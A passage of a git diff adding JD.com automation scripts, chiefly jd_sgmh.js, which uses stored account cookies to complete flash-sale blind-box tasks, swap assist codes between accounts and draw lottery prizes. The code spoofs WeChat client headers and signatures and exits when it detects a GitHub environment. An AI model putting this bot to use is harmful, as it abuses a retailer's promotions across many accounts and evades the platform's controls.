`https://draw.jdfcloud.com/common/api/bean/activity/detail?activityCode=${$.activityCode}&activityId=${$.activityId}&userOpenId=×tap=${Date.now()}&userSource=mp&jdChannelId=&appId=wxccb5c536b0ecd1bf&invokeKey=q8DNJdpcfRQ69gIx`; + const method = `GET`; + const headers = { + 'cookie' : $.cookie, + 'openId' : ``, + 'Connection' : `keep-alive`, + 'App-Id' : `wxccb5c536b0ecd1bf`, + 'content-type' : `application/json`, + 'Host' : `draw.jdfcloud.com`, + 'Accept-Encoding' : `gzip,compress,br,deflate`, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", + 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, + 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, + 'lkt': lkt, + 'lks': lks + }; + const myRequest = {url: url, method: method, headers: headers}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + //console.log(data); + data = JSON.parse(data); + if(data.success){ + $.detail = data.data; + } + } catch (e) { + //console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_sgmh.js b/jd_sgmh.js new file mode 100644 index 0000000..4607a25 --- /dev/null +++ b/jd_sgmh.js @@ -0,0 +1,384 @@ +/* +闪购盲盒 +长期活动,一人每天5次助力机会,10次被助机会,被助力一次获得一次抽奖机会,前几次必中京豆 +修改自 @yangtingxiao 抽奖机脚本 +活动入口:京东APP首页-闪购-闪购盲盒 +网页地址:https://h5.m.jd.com/babelDiy/Zeus/3vzA7uGuWL2QeJ5UeecbbAVKXftQ/index.html +更新地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#闪购盲盒 +20 8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +================Loon============== +[Script] +cron "20 8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒 +===============Surge================= +闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js +============小火箭========= +闪购盲盒 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, cronexpr="20 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('闪购盲盒'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let appId = '1EFRXxg' , homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = '' +let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6 +const inviteCodes = [ + '', + '', +]; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = '' + await TotalBean(); + await shareCodesFormat(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await interact_template_getHomeData() + await showMsg(); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 +function interact_template_getHomeData(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + console.log(data.data.bizMsg); + return + } + scorePerLottery = data.data.result.userInfo.scorePerLottery||data.data.result.userInfo.lotteryMinusScore + if (data.data.result.raiseInfo&&data.data.result.raiseInfo.levelList) scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel]; + //console.log(scorePerLottery) + for (let i = 0;i < data.data.result.taskVos.length;i ++) { + console.log("\n" + data.data.result.taskVos[i].taskType + '-' + data.data.result.taskVos[i].taskName + '-' + (data.data.result.taskVos[i].status === 1 ? `已完成${data.data.result.taskVos[i].times}-未完成${data.data.result.taskVos[i].maxTimes}` : "全部已完成")) + //签到 + if (data.data.result.taskVos[i].taskName === '邀请好友助力') { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`); + for (let code of $.newShareCodes) { + if (!code) continue + await harmony_collectScore(code, data.data.result.taskVos[i].taskId); + await $.wait(2000) + } + } + else if (data.data.result.taskVos[i].status === 3) { + console.log('开始抽奖') + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + else if ([0,13].includes(data.data.result.taskVos[i].taskType)) { + if (data.data.result.taskVos[i].status === 1) { + await harmony_collectScore(data.data.result.taskVos[i].simpleRecordInfoVo.taskToken,data.data.result.taskVos[i].taskId); + } + } + else if ([14,6].includes(data.data.result.taskVos[i].taskType)) { + //console.log(data.data.result.taskVos[i].assistTaskDetailVo.taskToken) + for (let j = 0;j <(data.data.result.userInfo.lotteryNum||0);j++) { + if (appId === "1EFRTxQ") { + await ts_smashGoldenEggs() + } else { + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + } + } + let list = data.data.result.taskVos[i].productInfoVos || data.data.result.taskVos[i].followShopVo || data.data.result.taskVos[i].shoppingActivityVos || data.data.result.taskVos[i].browseShopVo + for (let k = data.data.result.taskVos[i].times; k < data.data.result.taskVos[i].maxTimes; k++) { + for (let j in list) { + if (list[j].status === 1) { + //console.log(list[j].simpleRecordInfoVo||list[j].assistTaskDetailVo) + console.log("\n" + (list[j].title || list[j].shopName||list[j].skuName)) + //console.log(list[j].itemId) + if (list[j].itemId) { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId,list[j].itemId,1); + if (k === data.data.result.taskVos[i].maxTimes - 1) await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } else { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId) + } + list[j].status = 2; + break; + } + } + } + } + if (scorePerLottery) await interact_template_getLotteryResult(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//做任务 +function harmony_collectScore(taskToken,taskId,itemId = "",actionType = 0,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ?inviteId=${shareCode} + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${collectScoreFunPrefix}_collectScore&body={"appId":"${appId}","taskToken":"${taskToken}","taskId":${taskId}${itemId ? ',"itemId":"'+itemId+'"' : ''},"actionType":${actionType}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body += "&appid=golden-egg" + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizMsg === "任务领取成功") { + await harmony_collectScore(taskToken,taskId,itemId,0,parseInt(browseTime) * 1000); + } else{ + console.log(data.data.bizMsg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//抽奖 +function interact_template_getLotteryResult(taskId,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html?inviteId=P04z54XCjVXmYaW5m9cZ2f433tIlGBj3JnLHD0`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${lotteryResultFunPrefix}_getLotteryResult&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body = `functionId=ts_getLottery&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0&appid=golden-egg` + $.post(url, async (err, resp, data) => { + try { + if (!timeout) console.log('\n开始抽奖') + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (data.data.result.userAwardsCacheDto.jBeanAwardVo) { + console.log('京豆:' + data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + $.beans += parseInt(data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + } + if (data.data.result.raiseInfo) scorePerLottery = parseInt(data.data.result.raiseInfo.nextLevelScore); + if (parseInt(data.data.result.userScore) >= scorePerLottery && scorePerLottery) { + await interact_template_getLotteryResult(1000) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + + +//通知 +function showMsg() { + message += `任务已完成,本次运行获得京豆${$.beans}` + return new Promise(resolve => { + if ($.beans) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSGMH_SHARECODES) { + if (process.env.JDSGMH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSGMH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSGMH_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + // console.log(readShareCodeRes) + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: ``, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 